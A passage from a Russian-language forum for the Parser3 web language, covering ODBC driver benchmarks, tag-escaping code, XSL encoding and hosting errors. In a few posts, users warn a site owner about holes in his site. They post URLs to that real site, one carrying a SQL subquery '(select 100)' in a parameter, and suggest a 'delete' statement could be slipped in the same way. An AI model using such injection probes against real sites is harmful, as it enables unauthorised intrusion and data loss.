 or vidopl=12 or vidopl=13 or vidopl=14 or vidopl=15 or vidopl=16 or vidopl=17 or vidopl=18 or vidopl=19 or vidopl=20\
 or vidopl=25 or vidopl=27 or vidopl=30 or vidopl=31 or vidopl=32 or vidopl=33 or vidopl=34 or vidopl=35 or vidopl=36\
 or vidopl=37 or vidopl=38 or vidopl=39 or vidopl=47 or vidopl=48 or vidopl=50 or vidopl=52 or vidopl=69 or vidopl=87\
 or vidopl=96 or vidopl=97 or vidopl=101 or vidopl=103 or vidopl=104 or vidopl=105 or vidopl=106 or vidopl=108 or\
 vidopl=109 or vidopl=110 or vidopl=112 or vidopl=113 or vidopl=114 or vidopl=115 or vidopl=116 or vidopl=117 or\
 vidopl =118) And \
 ((MESN >= $mes1 and YEARN = $year1) OR (MESN <= $mes2 and YEARN = $year2)) AND TABN = $tabn\
GROUP BY MESN, YEARN\
ORDER BY YEARN, MESN\
[/code]"
"66950","голова < пепел :)\
\
в описание исходных условий вкралась ошибка, в связи с тем что я сравнение старого odbc драйвера с новым драйвером и запросом с 2 TOP проводил в пятницу, но тогда у меня не получалось подключить mssql драйвер. результаты были похожие, поэтому когда вчера мне удалось подключить mssql драйвер и я выполнил все тесты повторно я упустил одну важную деталь: таблица к тому моменту была модифицирована и в ней появились дополнительные столбцы: name VARCHAR(127) с русскими строками длиной от 4 до 10 букв, dt DATETIME, ts TIMESTAMP, number FLOAT.\
\
в запросе напрямую они не участвовали, однако доставались (*)\
\
спасибо egr-у за то, что вынудил ещё раз взглянуть на код и подумать над результатами.\
\
обратите внимание: сравнивать мои результаты с его напрямую нельзя, разные системы, разные сервера. имеет смысл сравнивать результаты работы в одной системе.\
\
\
в общем создал другую таблицу, как описано ранее (id INT IDENTITY, uid VARCHAR(63), скопированы все uid-ы из предыдущей таблицы, unique индекс).\
\"участники\" тестирования те-же самые: 323 + xml, старый odbc драйвер, новый odbc драйвер и mssql драйвер.\
\
результаты (все цифры от запроса к запросу немного плавают, CPU убрал, т.к. в любом запросе у меня он скачет на порядок):\
[code]\
что			Reads	Writes	Duration\
старый драйвер		221185	734	13860\
новый драйвер		2800	0	550\
2 TOP + subquery	5300	0	1400(2400 -- первый запрос)\
mssql драйвер		2950	0	1700\
[/code]\
\
ситуация изменилась, но не сильно.\
старый odbc драйвер очень сильно грузит сервер и в разы проигрывает новому драйверу.\
почему с mssql драйвером (а скорее всего MSSQL 2000 сервер) начинает тупить с большими offset не очень понятно, судя по trace -- не должен. ещё раз читаем сообщение egr-а: скорее всего имеет место быть какая-то неоптимальность в MSSQL 2000, которая поправлена в более поздних версиях сервера.\
\
\
\
до кучи решил посмотреть как обстоят дела с запросом без больших offset (значительно чаще встречаются задачи \"показать последние N записей\").\
\
в парсерном запросе просто закомментировал $.offset(90000); запрос, который был с 2 TOP и подзапросами сильно упростился (в результате он представляет то, что отправляется серверу mssql драйвером):\
[code]\
SELECT\
	TOP 15 *\
FROM\
	test\
ORDER BY\
	uid DESC;\
[/code]\
\
\
результаты:\
[code]\
что			Reads	Writes	Duration\
старый драйвер		220306	650	800\
новый драйвер		2800	0	300\
query in QA		60	0	20\
mssql драйвер		70	0	20\
[/code]\
\
видим: новый odbc драйвер в любом случае лучше старого.\
mssql драйвер благодаря использованию mssql специфики (TOP) значительно опережает их."
"66951","для подобного запроса ничего не должно было измениться (ну разве то я добавил баг какой %-) ).\
\
по факту в драйвере был исправлен один баг (драйвер с исправлением есть и v9 для 323 в разделе \"скачать\") + в v10 несколько изменилась работа с транзакциями (но я верну старый механизм)."
"66953","А так нельзя?\
\
[code]\
vidopl > 0\
AND vidopl <= 118\
[/code]\
\
Или вот так:\
\
[code]\
vidopl IN(1, 2, 3, …, 118)\
[/code]"
"66954","[quote]vidopl IN(1, 2, 3, …, 118)[/quote]\
а вот это мне нравится"
"66956","- вернулся к старому механизму транзакций (как в v9)\
- опция ?autocommit=1|0 продолжает работать (по умолчанию =1)\
- в случае, если используется опция ?ClientCharset теперь драйвер даже не пытается перекодировать значения в некоторых типах столбцов (числа, даты)\
- мелочи"
"66958","У вас вроде бы все идут по порядку."
"66959","C:\\Program Files\\Apache Group\\Apache2\\cgi-bin/lib/parser3odbc.dll\
driver implements API version 0x000A not equal to 0x0009"
"66964","Ошибка при post-запросе из обычной формы.\
\
На всем форуме найдено 2 решения: порядок загрузки mod_bandwidth и переход на другой сервер :)\
\
Мои хостеры говорят, что mod_bandwidth не используют...\
система freebsd6, apache2\
\
Может кто-то нашел еще конкретные причины, почему такое происходит?\
\
на всякий случай: хостер называется http://freehost.com.ua"
"66966","Этого не происходит. На сайте не работает ни одна форма.\
вот конкретная ссылка: http://focon.com.ua/index.html?ID=5026\
\
На форуме уже 100 раз эта проблема обсуждалась... Но найденные рекоммендации мне не помогли. Маловероятно, но может кто находил еще одно конкретное решение этой проблемы..."
"66967","Суть следующая:\
возникла у меня необходимость сделать список тэгов для постов:\
[code]<ul>\
<li><a href=\"/tag/start\">start</a> (1)</li>\
<li><a href=\"/tag/байк\">байк</a> (1)</li>\
</u>[/code]\
\
Формируется такой список с помощью xsl-шаблона:\
[code]\
<li>\
	<a href=\"/tag/{text()}\"><xsl:value-of select=\"text()\"/></a>\
	<xsl:text> (</xsl:text>\
	<xsl:value-of select=\"@count\"/><xsl:text>)</xsl:text>\
</li>\
[/code]\
\
Из структуры:\
[code]<tags>\
<tag count=\"1\">start</tag>\
<tag count=\"1\">байк</tag>\
</tags>[/code]\
\
При включенном [b]$.method[xhtml][/b] происходит преобразование русского текста. В моем случае, не в той кодировке:\
[code]\
<ul>\
<li><a href=\"/tag/start\">start</a> (1)</li>\
<li><a href=\"/tag/%D0%B1%D0%B0%D0%B9%D0%BA\">байк</a> (1)</li>\
</ul>\
[/code]\
\
Если отключить [b]$.method[xhtml][/b] - все ссылки получаются такими, как надо.\
\
Вопрос: чем чревато отключение [b]$.method[xhtml][/b]"
"66968","А разве есть такой метод преобразования \"xhtml\"??\
Знаю только xml, html и text\
\
Смею предположить, что xhtml = html, а Вам нужен xml, который default, если не ошибаюсь."
"66969","ошибка такая:\
\
Method Not Allowed\
The requested method POST is not allowed for the URL index.html.\
\
\
--------------------------------------------------------------------------------\
\
Apache/1.3.36 Server at www.focon.com.ua Port 80"
"66970","ещё были предложения проверить как приходят POST запросы, если обработчик не парсер + предложения посмотреть переменные окружения при этом."
"66971","PHP работает нормально на POST.\
CharsetDisable on приводит к Internal Server Error\
в логах:\
/usr/home/focon/www/www.focon.com.ua/.htaccess: Invalid command 'CharsetDisable', perhaps mis-spelled or defined by a module not included in the server configuration"
"66972","- попробуйте в панеле настройки хостинга найти и отключить что-либо, связанное с charset\
- http://www.parser.ru/forum/?id=61259 [пункт 3, далее если у вас также, то следуете совету PAF-а]"
"66973","[quote]$.method[html] - ... идентичны атрибутам элемента <xsl:output … />.[/quote]\
Соответственно, использование xhtml - оправдано (разница есть, проверял). Но не об этом суть.\
при любом преобразовании: xml, html... происходит и преобразование самого текста, а мне пока это не нужно"
"66974","До сих пор не получил ни одного предложения :( ... Отсутствие безработицы конечно радует, с патриотической точки зрения..., но с точки зрения самой работы это просто беда?\
Очень надеюсь, что желающие таки скоро появяться. Неужели все знатоки или начинающие погрязли в работе по уши и лишняя мелкая побработка никому не нужна?"
"66977","А заодно проверил разницу обратной замены через таблицу или foreach с матчами. Таблица замен шустрее и менее прожорлива.\
[code]@textPreprocess[text][tRepl;hTags;md5]\
$result[$text]\
^if(^text.pos[<] > 0 || ^text.pos[>] > 0){\
	$tRepl[^table::create{from	to^#0A<	&lt^;^#0A>	&gt^;}]\
	$hTags[^hash::create[]]\
	$result[^text.match[<(/?(?=[a-z])[^^>]+)>][gi]{$md5[^math:md5[$match.1]]$hTags.[$md5][$match.1]$md5}]\
	$result[^result.replace[$tRepl]]\
	^if($hTags){\
		$tRepl[^table::create{from	to^#0A^hTags.foreach[md5;tag]{$md5	<$tag>}[^#0A]}]\
		$result[^result.replace[$tRepl]]\
	}\
}\
### End @textPreprocess[/code]"
"66978","В частности, речь идет о \
Денвер-3 (Джентльменский набор Web-разработчика) (6.9 МБ), который от 30.06.2008\
\
Ругается парсер)\
\
Исправляется так:\
Качаем http://www.parser.ru/f/1/download/win32/parser3_2_3_win32_cgi_xml.zip\
\
И оттуда записываем в папку \\usr\\local\\parser3 msvcr71.dll и msvcp71.dll\
\
Это если у кого-то тоже появятся вопросы."
"66979","ведь у тебя же используется другой подход (для выкусывания style/script, если не ошибаюсь), когда всё что исключается заменяется на _одинаковую_ уникальную строку + складывается в табличку. а обратная замена делается одним match-ем. \
\
такой вариант мне кажется будет работать быстрее, потому что:\
- md5 надо ещё вычислить, и сделать это много раз\
- match, который компилится один раз и ищет одну уникальную строку будет скорее всего работать быстрее, чем replace по таблице с сотнями записей.\
\
но чтобы сказать наверняка -- надо потестировать."
"66980","Если класть в табличку, то будет куча locate по ней (есть там уже такая строка или нет)"
"66981","У меня уже давно нет таблички, все валится в хэш. И в моём случае выкусывание непарных больше/меньше правильнее делать после выкусывания тегов.\
Здесь же общий пример, если вдруг кому понадобится.\
\
P.S. как раз сейчас занимаюсь тестами... результаты доложу."
"66982","первое выкушенное надо вставить первым. даже в этом форуме уже подобный подход ни раз обсуждался.\
\
md5, кстати, запросто может встретиться в тексте, особенно как в варианте Eugene-а, без /%%/ (хотя уж лучше было использовать что-то более стандартное, например /**/)\
\
т.е. предлагается что-то типа этого:\
[code]\
@textPreprocess[text][tTag]\
$result[$text]\
^if(^result.pos[<] >= 0 || ^result.pos[>] >= 0){\
	^if(!def $tRepl)\
		$tRepl[^table::create{from	to^#0A<	&lt^;^#0A>	&gt^;}]\
	}\
	$tTag[^table::create{sValue}]\
	$result[^result.match[(</?(?=[a-z])[^^>]+>)][gi]{/*UNIQUE-MARKER*/^tTag.append{^taint[$match.1]}}]\
	$result[^result.replace[$tRepl]]\
	^if($tTag){\
		$result[^result.match[/\\*UNIQUE-MARKER\\*/][g]{^taint[as-is][$tTag.sValue]^tTag.offset(1)}]\
	}\
}\
### End @textPreprocess\
[/code]\
\
правда в случае работы с данными произвольных taint-расскрасок table не подходит (в тексте может быть clean \\t\\n, которые поломают таблицу) и нужно использовать хеш, что незначительно изменит код, однако работать будет медленнее (согласно моим давним тестам)"
"66983","[quote]\
У меня уже давно нет таблички, все валится в хэш.\
[/quote]\
\
а это что:\
[code]\
$tRepl[^table::create{from	to^#0A^hTags.foreach[md5;tag]{$md5	<$tag>}[^#0A]}]\
$result[^result.replace[$tRepl]]\
[/code]\
если не огромная таблица для replace?"
"66984","моя фраза к этому была:\
[quote]когда всё что исключается заменяется на _одинаковую_ уникальную строку + складывается в табличку.[/quote]"
"66985","таблица -- быстрее но имеет ограничения (в тексте могут быть clean [\\t\\n], которые её поломают)\
хеш -- медленней, но не имеет ограничений"
"66986","в моей задаче после всех выкусываний остаются теги только одного вида <*> соответственно мне никакой md5 не нужен...\
Достаточно 1 матч или реплейс, сначала в одну, потом в обратную сторону."
"66987","я комментировал не вашу задачу (которая не озвучивалась и о которой я собственно не имею понятия), а [url=\"/forum/?id=66977\"]выложенный код[/url], который выглядит очень неоптимальным."
"66989","уникальность не совсем == позиция\
\
если в исходном тексте будет, например, 250 <p>.тута мой текст.</p>, то в таблице будет 500 строк, тогда как в хэше  будет всегдо два ключа (а потом и в таблице обратных замен), что должно по идее повлиять как минимум на потребление памяти, а может и на скорость, но я правда не знаю насколько и в какую сторону :)\
\
Разве нет?"
"66990","[code]<li><a href=\"/tag/байк\">байк</a> (1)</li>[/code]   <-- так нельзя!\
\
русские буквы обязаны быть закодированы, иначе рано или поздно получите эту проблему - http://www.parser.ru/forum/?id=66825"
"66991","UPDATE: а-а-а, тупил. действительно, скорее всего большой кучи записей в хеше не будет, по причине одинаковости большинства тегов, поэтому дальше можно не читать %-)\
\
\
вы заменяете каждый тег (в примере это каждый <p> и каждый </p>) на уникальный md5. я предлагаю заменять на одинаковую уникальную строку (тоже может быть md5, но один для всех замен, а не 500 разных).\
\
выкушенное класть в таблицу (номер строки в таблице == номер позиции тега в исходном тексте) или хеш (ключ к хеше == номер позиции тега в исходном тексте, или религия запрещает добавить counter в случае с hash?).\
\
на чем теоретически имеем экономию я уже писал (минус 499 вычислений md5 и минус 499 вызовов match для обратной вставки тегов в случае вашего кода или 1 простой match вместо 1 replace с таблицей замен в 500 строк в случае кода Eugene)\
\
сколько это будет в попугаях практически -- надо смотреть, но я  уверен, что будет быстрее и с меньшим расходом памяти.\
\
[code]\
@textPreprocess[text][hTag;iPos;sMarker]\
$result[$text]\
^if(^result.pos[<] >= 0 || ^result.pos[>] >= 0){\
	^if(!def $tRepl)\
		$tRepl[^table::create{from	to^#0A<	&lt^;^#0A>	&gt^;}]\
	}\
	$sMarker[/*^math:md5[^math:uuid[]]*/]\
	$hTag[^hash::create[]]\
	$iPos(0)\
	$result[^result.match[(</?(?=[a-z])[^^>]+>)][gi]{${sMarker}$hTag.[$iPos][$match.1]$iPos($iPos+1)}]\
	$result[^result.replace[$tRepl]]\
	^if($hTag){\
		$iPos(0)\
		$result[^result.match[^taint[regex][$sMarker]][g]{${hTag.$iPos}$iPos($iPos+1)}]\
	}\
}\
### End @textPreprocess\
[/code]"
"66992","Зачем так\
[code]<(/?(?=[a-z])[^^>]+)>[/code]\
\
Когда можно проще:\
[code]<(/?[a-z][^^>]+)>[/code]\
\
?"
"66994","Только, проблема в том, что они кодируются не правильно - какие-то проблемы с кодировкой. Пока не разобрался, т.к. не совсем понятно где копать. Пока на стадии разработки оставил так."
"66996","Чтв. Июл. 03 15:56:58 2008, bitmag@ukr.net писал:\
Здравствуйте, Служба.\
 \
Проверил. Ничего не поменялось.\
Удаляю .htaccess и делаю простой тест:\
\
1.html\
-----------------------\
<html>\
<form method=post action=\"1.html\">\
<input type=text name=1><input type=submit>\
</form>\
</html>\
-----------------------\
При нажатии \"Submit\" апач выдает ошибку:\
\
Method Not Allowed\
The requested method POST is not allowed for the URL /1.html.\
\
\
Добрый день\
значит, к сожалению, данную настройку для конкретного виртуала \
отключить нельзя. Она включена из соображений безопасности и отключить ее нельзя для всего сервера.\
\
\
А в чем опасность возможности постить на .html? Зачем это ограничение?\
\
\
есть некоторые методы взлома, которые позволяют при открытой данной опции производить взлом серверов. На большенстве крупных хостингов эта возможность закрыта (Питерхост, мастерхост..)"
"66997","0. причем тут парсер, когда в приведённый вами коде -- plain html? (я ведь правильно понял, что проблема с action=\"1.html\" имеет место быть даже когда парсер не назначен обработчиком?);\
1. на peterhost, masterhost парсер работает;\
2. обычно когда есть дырки и их закрывают, то эти дырки где-то описаны и не составляет труда привести ссылку на описание дырки;\
3. вам предлагалось скопировать простенький perl-скрипт, назначить его обработчиком какой-нить стренице, сделать html, имеющую в action эту страницу и посмотреть результат POST-а, а затем показать его поддержке. их ответ был бы \"perl построен на небезопасном принципе\"?\
\
=> бегите от этого хостера, его \"специалисты\" слабо представляют что и как работает, а именно это представляет самую большую проблему безопасности."
"66999","На хостинге в настройках аппача стоит запрет на POST на .html файлы.\
Поддержка freehost.com.ua отказалась убрать этот запрет из \"соображений безопасности\"."
"67000","и в задать index.p3 в качестве directory index?"
"67001","Method Not Allowed\
The requested method POST is not allowed for the URL /index.p3"
"67002","и вопрос: а у этого хостера вообще заявлена поддержка пользовательский бинарный cgi (я не увидел)?"
"67003","короче я все замерил чтобы диалог далее был объективным, результаты такие:\
мой [url=\"http://www.parser.ru/forum/?id=66977\"]первый[/url] вариант действительно кушает больше чем [url=\"http://www.parser.ru/forum/?id=66991\"]Мишин[/url], однако этот вариант отъедает ещё меньше:\
[code]@textPreprocess[text][tRepl;tTags]\
$result[$text]\
^if(^text.pos[<] > 0 || ^text.pos[>] > 0){\
	$tRepl[^table::create{from	to^#0A<	&lt^;^#0A>	&gt^;}]\
	$tTags[^table::create{tag}]\
	$result[^text.match[<(/?(?=[a-z])[^^>]+)>][gi]{^tTags.append{$match.1}~*~}]\
	$result[^result.replace[$tRepl]]\
	^if($tTags){\
		$result[^result.match[~\\*~][g]{<$tTags.tag>^tTags.offset(1)}]\
	}\
}\
### End @textPreprocess[/code]"
"67004","Тут еще один подвариант появился (см. чат):\
\
[code]@textPreprocess[text][tRepl;hTags;md5]\
$result[$text]\
^if(^text.pos[<] > 0 || ^text.pos[>] > 0){\
	$tRepl[^table::create{from	to^#0A<	&lt^;^#0A>	&gt^;}]\
	$hTags[^hash::create[]]\
	$result[^text.match[<(/?(?=[a-z])[^^>]+)>][gi]{^if(!def $hTags.[$match.1]){$hTags.[$match.1][$.tag[$match.1]$.md5[^math:md5[$match.1]]]}$md5}]\
	$result[^result.replace[$tRepl]]\
	^if($hTags){\
		$tRepl[^table::create{from	to^#0A^hTags.foreach[k;v]{$v.md5	<$v.tag>}[^#0A]}]\
		$result[^result.replace[$tRepl]]\
	}\
}\
### End @textPreprocess[/code]\
\
т.е. md5 вычисляем только когда тэга еще нет в хэше"
"67005","В отношении [b]$request:charset[/b] и [b]$response:charset[/b] все нормально:\
[code]request:charset: WINDOWS-1251 response:charset: WINDOWS-1251[/code]\
Проблема оказалась в другом: у меня все данные в базе и код [b]Parser[/b] в кодировке [b]WINDOWS-1251[/b], а [b]XSL-шаблоны[/b] - в UTF (осталось еще с времен, когда брал чужие шаблоны за основу). В результате, все данные передавались правильно, а то, что кодировалось в XSL вылезало в неправильной кодировке.\
Вообщем, поставил везде: [code]<?xml version=\"1.0\" encoding=\"windows-1251\"?>[/code] и все встало на свои места. \
\
Спасибо за мысль."
"67006","Есть объект:\
[code]\
@CLASS\
abc\
\
@create[user] \
$abc:User[^MAIN:oSql.table[\
	SELECT id, type\
	FROM user\
	WHERE name LIKE '$user'\
	]\
]\
#end @create[user] \
\
@GET_property[]\
#####\
# В зависимости от типа должен возвращать нужную таблицу\
#####\
^switch[$User.type]{\
	^case[0]{\
		$p[^MAIN:oSql.table[\
		SELECT id, fio, phone\
		FROM `u_user`\
		WHERE `id` = '$User.id'\
		]]\
	}\
	^case[1]{\
		$p[^MAIN:oSql.table[\
		SELECT id, fio, phone, mail\
		FROM `u_user`\
		WHERE `id` = '$User.id'\
		]]\
	}\
	^case[2]{\
		$p[^MAIN:oSql.table[\
		SELECT id, fio, phone, post_index, post_country, post_adress, mail\
		FROM `u_user`\
		WHERE `id` = '$User.id'\
		]]\
	}\
}\
[/code]\
Пробовал разные способы возврата:\
1) $result($p) - возвращаемый_объект.CLASS_NAME==void\
2) $result[$p] - возвращаемый_объект.CLASS_NAME==string\
\
Если сделать в геттере сразу вывод данных, то данные выводятся и уже потом делать вывод в нужной мне форме?"
"67007","Не могу придумать такую вешь.\
есть большой кусок текста. и его нужно разбить на три колонки., так чтобы он автоматом подгонял ширину столюца при измении размера окна браузера.\
\
может кто подкинет идейку ? или кто уже делал подобное ?\
по форуму вроде не нашел."
"67008","- результат pos надо так: '>= 0' и '<= 0', ибо если самым первым идёт символы '<' или '>', то процесс таки надо запускать (я это исправлял в своём коде)\
\
- я не просто так tRepl сделал \"глобальной\": при обработке более чем одного текста будет экономия, т.к. таблица не будут создаваться заново\
\
- опять работа с таблицей: нужно упоминать про условия, когда код будет работать неправильно. и эти условия в _моих_ html встречаются достаточно часто, т.к. длинные теги я переношу:\
[code]\
<input\
	name=\"a\"\
	value=\"b\"\
	...\
/>\
[/code]\
\
- использовать азиатский смайлик в качестве уникальной последовательности для замены я бы не стал. в последнем варианте я больше склонился к варианту в стиле Maxx-а: /*md5(uuid)*/. да, это длиннее, да это приводит к бОльшей рессурсоёмкости, но меньше вероятность сбоя."
"67009","я обычно switch пишу так:\
[code]\
$result[^switch[...]{\
	^case[...]{...}\
	^case[...]{...}\
	^case[DEFAULT]{...}\
}]\
[/code]\
\
\
чтобы возвращать объект надо использовать [], а не (). круглые скобки получают \"скалярное представление объекта\" (если оно доступно. у тебилицы это кол-во строк, у хеша -- кол-во записей, у даты -- кол-во дней с epoch)\
\
возможно у вас получался string, например из-за того, что $User.type был не 0, 1 или 2. добавьте ^case[DEFAULT]{^throw[;Unexpected type '$User.type']}\
\
\
последнее предложение вашего сообщения с вопросом я не смог понять."
"67011","Второй результат в гугле по запросу «javascript multi-column»:\
http://13thparallel.com/archive/column-script/"
"67012","Последнее предложение должно было звучать так:\
Если сделать в геттере сразу вывод данных, то данные выводятся, Но как возвращать именно объект и уже потом делать вывод в нужной мне форме?\
\
Ответ получил, спасибо)"
"67014","Вот упрощенный класс\
[code]\
@CLASS\
account\
\
@create[id]\
$Account[^MAIN:oSql.table[\
		SELECT id, discount, status\
		FROM account\
		WHERE id = '$id'\
	]\
]\
[/code]\
и потом доступ к свойствам делаю так:\
[code]\
@GET_id[]\
	$Account.id\
#end GET_id\
\
@GET_discount[]\
	$Account.discount\
#end GET_discount\
\
@GET_status[]\
	$Account.discount\
#end GET_status\
[/code]\
Имеет ли смысл создание объекта Account? Я так понимаю, что это должно несколько ускорить работу скрипта и снизить нагрузку на SQL-сервер. Но могут возникнуть проблемы с нехваткой ОЗУ при больших объектах. \
Вобщем, что-то мне не нравится в этой реализации, но что не так я пока не могу понять."
"67015","здесь мы забегаем вперёд и смотрим есть ли спереди буквенный символ, если такового нет, то правило дальше не будет искать совпадения и делать откаты. Люблю опережающие и ретроспективные проверки, и ничего с собой поделать не могу.\
\
Но уж коли пошла такая пьянка, то ещё проще так:\
[code]<(/?\\b[^^>]+)>[/code]"
"67017","- преждевременная оптимизация -- плохо, об этом говориться в большинстве книжек\
- я не понимаю о каком объекте Account вы говорите\
- Sumo писал про отложенное доставание данных из БД в случае использования getter-ов, т.е. т.к. возможно вы не будете вызывать ваши getter-ы, то не имеет смысл доставать данные из БД в конструкторе\
- в случае, если вы будете создавать много объектов класса account, то у вас будет много sql запросов -- плохо\
- сравнивать скорость/память имеет смысл имея два кода, а не один прототип и одну умозрительную реализацию."
"67018","- изменился номер версии парсера (стал 3.3.0)\
\
- при выполнении sql запросов в случае, если передан параметр $.limit, внутри которого указана переменная с пустым значением, теперь не выдаётся исключение, а работает обычное преобразование пустой строки в 0. внимание: некоторые пользовались этим багом, чтобы доставать все записи. теперь код станет работать иначе, поэтому чтобы логика его работы осталась прежней, надо внести изменения:\
[code]\
^table::sql{\
	...\
}[\
	$.limit($var_which_might_be_empty)\
]\
=>\
^table::sql{\
	...\
}[\
	^if(def $var_which_might_be_empty){\
		$.limit($var_which_might_be_empty)\
	}\
]\
[/code]\
\
- file::sql теперь понимает опции $.limit и $.offset\
\
- добавлен конструктор ^date::create[$дата] (раньше можно было делать так: ^date::create($дата), это продолжает работать). например теперь внутри метода можно написать ^date::create[$param], а не заниматься проверкой типа пришедшей переменной и написанием if, который в случае пришедшего типа date/int/double будет вызывать конструктор с круглыми скобками, а в случае строки -- с квадратными.\
\
- методу ^строка.trim[] добавлены возможные варианты параметра, определяющего место удаления символов: left и right (по аналогии с методами .left() и .right()), которые являются alias-ами для start и end (последние продолжают работать)\
\
- обновлён драйвер SQLite: у него убран escape-инг двойной кавычки.\
\
- обновлён ODBC драйвер: у него появилась новая опция SQL, которая может принимать одно из значения MSSQL|FireFird|Pervasive. если задана, то sql запросы, у которых указан limit/offset перед выполнением модифицируются и им добавляется специфичные для данных SQL серверов инструкции (TOP для MSSQL и Pervasive, FIRST + SKIP для FireFird)"
"67020","а так там и parser outdated (я писал им, ответа не получил) и эту dll-ку они не включили (хотя тут мы отчасти виноваты тоже: её не было в начальном архиве 322 и в инсталляторе)."
"67021","Вот последнее в логе ошибок?\
\
[code][Fri Jul  4 22:34:33 2008] [73481] out of memory (while expanding string) [uri=/img/bg_top.png/, method=GET, cl=0]\
[Fri Jul  4 22:34:44 2008] [73526] out of memory (while expanding string) [uri=/img/bg_top.png/, method=GET, cl=0]\
[Fri Jul  4 22:34:48 2008] [73557] out of memory (while expanding string) [uri=/alex/paradise.html/, method=GET, cl=0]\
[Fri Jul  4 22:34:59 2008] [73592] out of memory (while expanding string) [uri=/alex/sun.html/, method=GET, cl=0]\
[Fri Jul  4 22:34:59 2008] [73610] out of memory (while expanding string) [uri=/error/404.html/, method=GET, cl=0]\
[Fri Jul  4 22:35:21 2008] [73746] out of memory (while expanding string) [uri=/img/bg_top.png/, method=GET, cl=0]\
[Fri Jul  4 22:35:25 2008] [73753] out of memory (while expanding string) [uri=/img/bg_top.png/, method=GET, cl=0]\
[Fri Jul  4 22:35:46 2008] [73880] out of memory (while expanding string) [uri=/img/bg_top.png/, method=GET, cl=0]\
[Fri Jul  4 22:36:13 2008] [74014] out of memory (while expanding string) [uri=/img/bg_top.png/, method=GET, cl=0]\
[Fri Jul  4 22:36:23 2008] [74080] out of memory (while expanding string) [uri=/img/bg_top.png/, method=GET, cl=0]\
[Fri Jul  4 22:36:45 2008] [74163] out of memory (while expanding string) [uri=/robots.txt/, method=GET, cl=0]\
[Fri Jul  4 22:37:18 2008] [74337] out of memory (while expanding string) [uri=/img/bg_top.png/, method=GET, cl=0]\
[Fri Jul  4 22:37:31 2008] [74399] out of memory (while expanding string) [uri=/img/bg_top.png/, method=GET, cl=0]\
[Fri Jul  4 22:37:34 2008] [74425] out of memory (while expanding string) [uri=/img/bg_top.png/, method=GET, cl=0]\
[Fri Jul  4 22:37:43 2008] [74458] out of memory (while expanding string) [uri=/img/bg_top.png/, method=GET, cl=0][/code]\
\
В чем может быть дело? Как посмотреть детали ошибки?"
"67022","Может, добавить что-то типа \"Solutution\" для денвера на страничке со ссылкой к этому случаю?"
"67026","Поставил себе на сайт tinyMCE. Нравится. Только не могу заставить в <textaria></textaria> выводить текст с кодами переноса строки. Т.е. в базе переносы есть, а вот в форме редактирования у меня всё идёт сплошным текстом. Пробовал разные варианты с ^untaint - никакой разницы. Кто подскажет? ;) Буду очень признателен."
"67029","До кучи:\
http://www.2step.ru/mixes/countmix.html?id=a\
http://www.2step.ru/mixes/index.html?a\
http://www.2step.ru/music/index.html?p=a\
и так далее..."
"67030","http://www.2step.ru/mixdown.html?id=(select 100)"
"67031","В ссылках могут быть скобки ()\
Поправить бы regex соответствующий\
\
У меня он выглядит так:\
\
[code]$result[^result.match[\
((?:https?://|ftp://|mailto:)(?:[:\\w~%{}+*^;./?='&@,!#-]+))\
][gxi]{^function_for_process_link[$match.1]}][/code]\
\
Работает давно, все ссылки находит правильно вроде."
"67032","Кто может помочь собрать и запустить парсер на mchost? Вообще не разбираюсь как это делается, но оч. надо."
"67033","Какая операционная система и программное обеспечение используются?\
[quote]На наших серверах используется следующее программное обеспечение:\
ОС: Linux \
Веб-сервер: Apache \
Perl \
PHP \
MySQL\
[/quote]\
Отсюда вывод:\
1) надо пойти по этому адресу: http://www.parser.ru/download/redhat/\
2) выбрать тот вариант парсера, который нужен\
3) выполнить инструкции, которые размещены на этой странице\
4) в случае чего, обратиться в техподдержку хостера"
"67034","Есть база данных: id, title, param\
Есть класс, в котором выводятся данные из этой таблицы(привожу упрощеный код). \
[code]@CLASS\
abc\
\
@create[parpam]\
$sp[$param]\
\
@GET_s[]\
$S[^MAIN:oSql.table[\
	SELECT id, title FROM db\
	WHERE param=$param]\
]\
$result[$S]\
#end @GET_s[]\
\
@print_s[]\
	^if(def $self.s){\
		^self.s.menu{\
			$self.s.id - $self.s.title\
		}\
	}\
#end @print_s[]\
[/code]\
Все бы ничего... но работает не совсем так, как я ожидал. \
А именно: количество выбранных записей из таблицы выбрано верно, но значения выдаются все одинаковые (по первой записи). \
\
Выхода два:\
1) Вынести \
[code]$S[^MAIN:oSql.table[\
	SELECT id, title FROM db\
	WHERE param=$param]\
][/code]\
из @GET_s[] в конструктор объекта.\
2) В методе @print_s[] добавить $ss[$self.s] и вместо $self.s использовать $ss.\
\
Это так и должно быть? \
С одной стороны, код выполняется каждый раз, при вызове методов @GET_*, но с другой стороны, возвращается объект, с которым, по идее, должно быть можно работать, не делая дополнительного присваивания."
"67035","Это уже интересно! Но в доке, увы, конкретного примера для вставки текста в <textarea> для редактирования я не нашёл. Если Вам не сложно, может всё таки вместо посылания RTMFM просто ответите на мой вопрос? ;) Это же форум... Мне не нужна куча примеров, нужен всего один пример untaint (или taint?) Надеюсь на понимание, заранее благодарю! :)"
"67039","Нет, ну я бы еще понял, если бы она была на английском, вы не знали бы найдете ли вы там ответ на свой вопрос или нет.\
\
А тут по русски, вам сказали что там ответ есть. вам осталось всего-то (sic!) открыть [url=\"http://www.parser.ru/docs/lang/opuntainttaint.htm\"]нужную страницу[/url] и прочитать ее, а если уж совсем лень - поискать слово textarea и почти мгновенно найти свое решение. сакс"
"67041","Вам указали на дыры.\
Лучше их прикрыть.\
\
Хотя, если нравится — оставьте, ваш профессионализм оценят по достоинству."
"67042","Вы открывали ссылки?\
\
те что присланы G_Z генерят ошибки, которые \
a - не прикрыты, что очень плохо с точки зрения безопасности\
б - вообще сам факт их существования наверно не хорош\
\
я добавил еще одну, которая \
а - делает бесконечный лукап на ваш сайт. Как думаете, что будет с ним, если я открою эту страницу в 30 окнах браузера?\
б - я не люблю проводить деструктивные тесты, но видя что подзапрос select 100 _проходит_, подозреваю, что чуть подумая и потестируя желающий сможет впихнуть туда(или куда нибудь еще) вместо select 100 - delete * from table. Потому что входные параметры вероятно плохо обрабатываются\
\
Все это исходя их того, что сайт наверно ваш, и вам просто показали, что у вас там ошибки\
\
если не ваш - то это не имеет никакого значения"
"67046","... и вегда помнить, что [b]любое[/b] обращение к ним приводит к вызову метода @GET_имя_свойства[]. В вашем случае это приводит к новым запросам в базу и \"сбросу\" счетчика текущей позиции итератора в таблице (по которой и делается menu).\
\
Корректный вариант выглядит так:\
[code]\
@CLASS\
abc\
\
@create[parpam]\
  $_sp[$param]\
  $_s[]\
\
@GET_s[]\
  ^if(!$_s){\
    $_s[^MAIN:oSql.table{\
	SELECT id, title \
         FROM db\
